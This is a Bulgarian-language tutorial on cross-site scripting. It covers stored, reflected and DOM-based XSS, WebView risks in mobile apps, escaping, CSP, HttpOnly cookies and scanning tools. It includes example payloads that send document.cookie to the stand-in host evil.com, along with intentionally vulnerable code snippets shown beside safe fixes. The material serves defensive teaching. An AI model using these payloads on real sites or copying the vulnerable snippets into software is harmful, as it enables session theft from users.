XSS — какво е, видове атаки и методи за защита

Какво е XSS?

XSS (Cross-Site Scripting) — е уязвимост, която позволява на нападателя да инжектира JavaScript код в уеб страница, който след това се изпълнява в браузъра на жертвата. Браузърът зарежда страницата от доверен сайт и изпълнява инжектирания скрипт със същите права като легитимния код на сайта. Това дава на нападателя достъп до бисквитки, session storage, DOM дървото на страницата и възможност да изпраща заявки от името на жертвата. XSS уязвимостите възникват, когато приложението вмъква потребителски данни в HTML страница без подходящо екраниране или валидация.

История и актуалност на XSS

Терминът Cross-Site Scripting се появява за първи път през 2000 г. в Microsoft Security Bulletin. През последните 25 години XSS не е загубил актуалността си: според данни на HackerOne (2025), XSS съставлява около 22% от всички регистрирани уязвимости на платформата. Причината за жизнеспособността на XSS е сложността на контрола на всички входни точки на потребителски данни. Всяко поле за въвеждане, URL параметър, заглавка на HTTP заявка или име на файл може да стане вектор на атака, ако данните се отразяват в HTML кода без обработка.

Какви щети причинява XSS?

XSS атаките могат да доведат до кражба на сесийни бисквитки, което позволява на нападателя да влезе в акаунта на жертвата без парола. Други последствия: пренасочване към фишинг сайтове, подмяна на съдържанието на страницата, кражба на лични данни, инсталиране на зловреден софтуер (drive-by download). През 2023 г. XSS атака срещу платформата Salesforce Community Cloud засегна данни на хиляди корпоративни клиенти, демонстрирайки, че дори големите платформи не са имунизирани срещу тази уязвимост.

Видове XSS атаки

Класификацията на XSS разделя атаките на три основни типа според начина на доставяне на зловредния код. Всеки тип изисква различен подход за защита: Stored XSS се блокира чрез екраниране на изхода от базата данни, Reflected — чрез екраниране на URL параметрите, DOM-based — чрез безопасна работа с DOM-API. Разбирането на разликата е основата на ефективна стратегия за сигурност.

Stored XSS (постоянен)

Най-опасният тип XSS. Нападателят инжектира скрипт в данни, които сървърът съхранява в базата данни и показва при всяко зареждане на страницата. Типичен вектор — полето за коментар: нападателят публикува коментар с <script>document.location='https://evil.com/?c='+document.cookie</script>. Всеки потребител, който зареди страницата с този коментар, изпраща своите бисквитки на нападателя. Stored XSS не изисква никакви действия от жертвата освен посещение на страницата — което го прави особено опасен за социалните мрежи, форуми и блогове.

Reflected XSS (отразен)

Зловредният скрипт се предава в HTTP заявката (обикновено в URL параметър) и веднага се отразява от сървъра в отговора. Нападателят създава линк от вида https://example.com/search?q=<script>...</script> и го разпространява чрез фишинг, социални мрежи или имейл. Жертвата, кликвайки върху линка, получава страница, където въведената заявка за търсене (скрипт) се показва без екраниране. Reflected XSS изисква социално инженерство — жертвата трябва да кликне върху линка, което намалява, но не премахва риска.

DOM-based XSS

За разлика от Stored и Reflected, DOM-based XSS не изисква изпращане на данни към сървъра. Уязвимостта възниква, когато клиентският JavaScript вмъква потребителски данни от URL, document.referrer, postMessage или localStorage в DOM без безопасна обработка. Например код от вида document.getElementById('output').innerHTML = location.hash.substring(1) изпълнява произволен HTML и скриптове от URL фрагмента (#<img onerror='...'>). DOM-based XSS е най-труден за откриване, тъй като сървърът никога не получава зловредния пейлод — той се обработва изцяло от клиента.

// Пример за DOM-based XSS (УЯЗВИМ КОД)
// Ако userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — опасен: вмъква суров HTML
document.write('<div>' + userInput + '</div>');

// БЕЗОПАСНА АЛТЕРНАТИВА — използвайте textContent
document.getElementById('output').textContent = userInput;

Как работи XSS атаката?

XSS атаката експлоатира фундаментално свойство на уеба: браузърът изпълнява JavaScript, получен от доверен домейн. Ако нападателят намери начин да инжектира своя код в HTML отговора на сървъра, браузърът го изпълнява със същите привилегии като легитимния код. Атаката преминава през три фази: инжектиране на зловреден код в съдържанието, доставяне на съдържанието до браузъра на жертвата и изпълнение на кода с достъп до DOM, бисквитки и storage.

Фаза на инжектиране

Нападателят намира входна точка — поле, URL параметър или заглавка, чиято стойност сървърът включва в HTML отговора без екраниране. Типични входни точки: полета за търсене, полета за коментари, потребителско име, URL на аватар, файлове с бисквитки, HTTP заглавки (User-Agent, Referer). Съвременните рамки (React, Angular, Vue) автоматично екранират изхода, но разработчиците могат да изключат екранирането чрез dangerouslySetInnerHTML, bypassSecurityTrustHtml или v-html.

Фаза на доставяне

За Reflected XSS нападателят разпространява зловреден линк. За Stored XSS е достатъчно да публикува съдържание на целевия сайт и всеки посетител на страницата става жертва. DOM-based XSS се активира при зареждане на страницата с определен URL фрагмент. И трите фази могат да се изпълнят автоматично: ако XSS бъде открит в рекламен банер (съдържание на трета страна), атаката ще засегне всички потребители на сайта, докато банерът не бъде изключен.

// Пример за Reflected XSS в търсене (УЯЗВИМ БЕКЕНД)
// Вместо да екранира параметъра q, сървърът го вмъква в HTML

// Express.js — уязвим манипулатор:
app.get('/search', (req, res) => {
    const query = req.query.q; // потребителски вход
    res.send(`<h1>Results for: ${query}</h1>`);
});

// БЕЗОПАСНА ВЕРСИЯ — екраниране чрез encodeURI или шаблонен двигател:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS в мобилни приложения

Мобилните приложения също са податливи на XSS атаки, макар и в по-малка степен от уеб сайтовете. Основният вектор е WebView и хибридните рамки (Cordova, Capacitor, React Native с WebView). Ако приложението зарежда уеб съдържание в WebView — особено потребителско съдържание (HTML имейли, статии, съобщения) — XSS уязвимостта може да доведе до изпълнение на JavaScript вътре в приложението с достъп до native функции чрез JavaScript моста.

XSS в WebView Android

Android WebView изпълнява JavaScript по подразбиране. Ако приложението зарежда HTML низ чрез loadDataWithBaseURL() или показва потребителско съдържание, XSS атака може да даде на нападателя достъп до JavaScript интерфейса (addJavascriptInterface). Google забрани използването на @JavascriptInterface за API < 17, но legacy код в стари приложения все още се среща. Защита: изключете JavaScript в WebView, ако не е необходим, и използвайте безопасно сърфиране.

XSS в React Native и Flutter

React Native не използва WebView за потребителския интерфейс — компонентите се рендерират в native изгледи. Въпреки това, при показване на HTML чрез react-native-webview или rich-text компоненти, рискът от XSS се връща. Flutter използва собствен двигател за рендериране (Skia) и не поддържа JavaScript в HTML уиджети (flutter_html не изпълнява script тагове), но WebView плъгините (webview_flutter) са уязвими аналогично на native WebView. Най-добра практика — никога не предавайте непроверен HTML на WebView.

• Изключете JavaScript в WebView, ако съдържанието не изисква интерактивност
• Използвайте CSP заглавки за ограничаване на източниците на скриптове в WebView
• Санирайте HTML преди зареждане в WebView: премахнете script тагове и манипулатори на събития
• Не използвайте addJavascriptInterface на Android без строга проверка на входящите данни

// Безопасна настройка на WebView в Android
val webView = findViewById<WebView>(R.id.webview)

// Изключваме JavaScript, ако интерактивност не е необходима
webView.settings.javaScriptEnabled = false

// Санираме HTML преди зареждане
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

Методи за предотвратяване на XSS

Защитата срещу XSS се основава на три принципа: не вярвай на потребителския вход, екранирай преди изхода, използвай Content Security Policy. Екранирането на изхода (output encoding) — най-важният метод: всички данни, получени от потребителя, трябва да бъдат екранирани преди вмъкване в HTML, JavaScript, CSS или URL. Съвременните шаблонни двигатели (Twig, Handlebars, JSX, Blade) правят това автоматично, ако разработчикът не изключи екранирането със специални методи.

Контекстуално екраниране

Екранирането зависи от контекста на вмъкване на данни. В HTML контекст се екранират <, >, &, кавичките. В JavaScript контекст се екранират обратни кавички, , </script>. В CSS контекст — контролни символи. В URL контекст — URL кодиране. Грешка в контекста — например вмъкване на HTML екраниран низ в атрибут onclick — не защитава от XSS, тъй като onclick се изпълнява в JavaScript контекст, където е необходимо различно екраниране.

Content Security Policy (CSP)

CSP — HTTP заглавка, ограничаваща източниците, от които браузърът може да зарежда скриптове, стилове и други ресурси. Строгият CSP (без unsafe-inline, без unsafe-eval) блокира изпълнението на всички inline скриптове, включително XSS вектори. Според данни на Google Security Blog (2025), сайтовете с CSP блокират 95% от XSS атаките. Пример: Content-Security-Policy: default-src 'self'; script-src 'self' забранява всички външни и inline скриптове. CSP не защитава от Stored XSS, ако скриптът се зарежда от същия домейн, но това изисква допълнителни усилия от нападателя.

HttpOnly и Secure бисквитки

Задаването на флаг HttpOnly за бисквитки предотвратява достъпа до тях чрез JavaScript (document.cookie), което блокира кражбата на сесийни бисквитки чрез XSS. Флагът Secure гарантира, че бисквитката се предава само чрез HTTPS. Комбинацията HttpOnly + Secure + SameSite=Lax прави кражбата на сесийни бисквитки чрез XSS практически невъзможна. Въпреки това, XSS все още може да изпълнява действия от името на потребителя (например да изпраща заявки), така че HttpOnly не е панацея, а част от цялостната защита.

Инструменти за откриване на XSS

Редовното тестване за XSS — задължителна част от CI/CD пайплайна за сигурно разработване. Автоматизираните скенери откриват до 80% от XSS уязвимостите, останалите изискват ръчно пентестване. Най-добрият подход е комбинация от SAST анализ (статичен), DAST сканиране (динамичен) и преглед на кода с фокус върху входните точки на потребителски данни.

• OWASP ZAP — безплатен DAST скенер, автоматично открива XSS в уеб приложения
• Burp Suite Professional — разширен инструмент с Active Scan и Intruder за XSS
• XSStrike — специализиран скенер за XSS с генериране на пейлодове
• ESLint-plugin-security — статичен анализ на React/JSX за опасни модели
• Google Observatory — проверка на CSP заглавки и конфигурации, свързани с XSS

За мобилни приложения, тестването за XSS включва анализ на WebView: проверка на JavaScript интерфейси, обработка на URL схеми и предаване на HTML към loadDataWithBaseURL. Също така се препоръчва тестване на обработката на postMessage в хибридни приложения и проверка какви данни се предават чрез JavaScript моста. Използвайте емулатор с прокси (Burp Suite) за прихващане и модифициране на трафика на мобилното приложение.